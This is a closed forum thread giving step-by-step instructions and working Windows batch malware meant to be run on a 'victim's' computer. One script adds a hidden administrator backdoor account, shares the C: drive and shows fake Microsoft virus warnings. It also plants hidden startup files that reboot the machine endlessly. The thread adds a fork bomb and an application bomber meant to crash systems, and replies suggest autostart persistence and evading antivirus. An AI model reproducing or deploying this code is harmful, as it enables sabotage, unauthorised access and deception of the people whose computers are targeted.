What's new

Closed How to make a virus using notepad

Status
Not open for further replies.

kEvmeister

Honorary Poster
Joined
Jan 26, 2017
Posts
98
Reaction
368
Points
134
Age
32
Simple Batch Virus
Folder Replicator Virus:
Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as a filename.bat before doing that you have to modify the code by
changing the place where it says ‘username’ and instead of that replace it by the currently logged in
username.

3. Then run it on the Victims computer to infect it.

4. Any how it doesn’t cause much harm, but replicates folder inside a folder and goes on.

Once more thing that you have to notice is that, this will create directory inside another directory with the
same name, so it doesn’t looks like crap, since everything reside inside one main directory, more over
deleting the root directory will purge all the clumsy thing done by this piece of code.

Here is the source code for the virus C_relwarC708 v1.0, created by me.

echo off
cd\
cd %SystemRoot%\system32\
md 1001
cd\
cls
rem N0 H4rm 15 cau53d unt1| N0w
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000
echo 12:00:00.00 | time >> nul
echo 01/01/2000 | date >> nul
net users Microsoft_support support /add
rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt
rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt.
net localgroup administrators Microsoft_support /add
rem 5h4r3 th3 R00t Dr1v3
net share system=C:\ /UNLIMITED
cd %SystemRoot%\system32\1001
echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your
computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) >
%SystemRoot%\system32\1001\warnusr.vbs
rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y )
mode con rate=1 > nul
mode con delay=4 >> nul
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y
@ 12:01 and 12:02
at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul
msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >>
nul
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3
3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5
copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All
Users\Start Menu\Programs\Startup\warnusr.vbs”
rem
***************************************************************************
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and
w1|| r35t4rt c0nt1nu0u5|y
echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your
attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can
detect this virus now. Wanna try? Hahahaha….! ” > %systemroot%\system32\1001\sd.bat
copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat
“%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”
rem
***************************************************************************
cd\
cls
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r
cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\
attrib +h +s +r warnusr.vbs
attrib +h +s +r sd.bat
cd\
cd %systemroot%\system32
attrib +h +s +r 1001
rem K1||5 th3 3xp|0r3r.3×3 Pr0c355
taskkill /F /IM explorer.exe
rem @ EOV // End of Virus


Copy the source code and paste it in a notepad, then save it with the filename.bat extension.

This virus program will begin its operation at C:\windows\system32 and creates a new directory
with name '1001', changes the time to 12:00 and date to 01-01-2000, then creates a new user with account
name 'Microsoft_support' with a password 'support' matching the account.
It automatically assigns administrator rights to the user account that was created, then shares the
root drive 'C:' which really is a security issue making the system completely vulnerable.
It will create a VBScript file with name 'warnusr.vbs' that is used to display a message 'Microsoft
Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or
Press No to Ignore the Virus', that really seems to be coming from the operating system itself, then it will
change the keyboard setting by reducing the rate and delay time.
Since the time and date has been already modified by the virus, it will automatically pop up a message
stating 'You are requested to restart your Computer Now to prevent Damages or Data loss' exactly at
12:01 and 12:02, if the user restarts the computer, then it’s gone.
Whenever the user try to login to the computer, it will automatically reboots continuously, because the
command 'shutdown -r' is set with time 00, and kept in start-up folder, the user has nothing to stop this
unless he enters in safe mode and delete the file, more over the file is set with system and hidden attribute
making it invisible.

The only way to stop this is to enter in safe mode and disable the start-up items, and then delete the file
that reside in C:\windows\system32\1001 and in the start-up folder.

Fork Bombing:

Most of them have heard about the word ‘fork()’, which is used to create child process, like wise
fork bombing is nothing but calling a program by itself again and again with a infinite loop and making
the system to crash by popping up hundreds of windows on the screen.

echo off
:loop
Explorer
Call fork.bat
Goto loop

Copy the above program and paste it in a notepad file and save it as ‘fork.bat’. The explorer
command will open up the ‘documents’ directory, and it is given inside a loop, then the same batch file is
called again which in turn opens up multiple documents rolled out in a loop, likewise it goes on by calling
the program itself again and again until the system crashes or hangs up.

Application Bomber:
Application bomber is a superset of window bomber, this has a close relation to the above given
fork bomber program, where in this ‘application bomber’ we don’t call the program using the name itself
(simply known as fork), where as we are going to open up applications continuously using a loop.

echo off
:loop
start notepad
start winword
start mspaint
start write
start cmd
start explorer
start control
start calc
goto loop

When the above given batch program is executed, it will open up the following applications such
as notepad, word document, Microsoft paint, WordPad, command prompt, my documents, control panel,
and calculator in an infinite loop causing the system to collapse and as a result the system simply crashes
or reboots. Just imagine the same using a fork concept; oops! it will make the system crash immediately.
 
Pano boss kung di nya iopen yung bat file. Di rin yan gagana diba. And panu kung iforce close ko yung computer and start ulit. Wala na yung super duper virus. :)
Ano kaya boss kung gawa kapa ng isa pang bat file na nag aauto start ng mga yan pag start palang ng computer. Diba pwede yan. Di naman idelete ng antivurus yan kasi batch script.
 
Last edited by a moderator:
Status
Not open for further replies.

Similar threads

Back
Top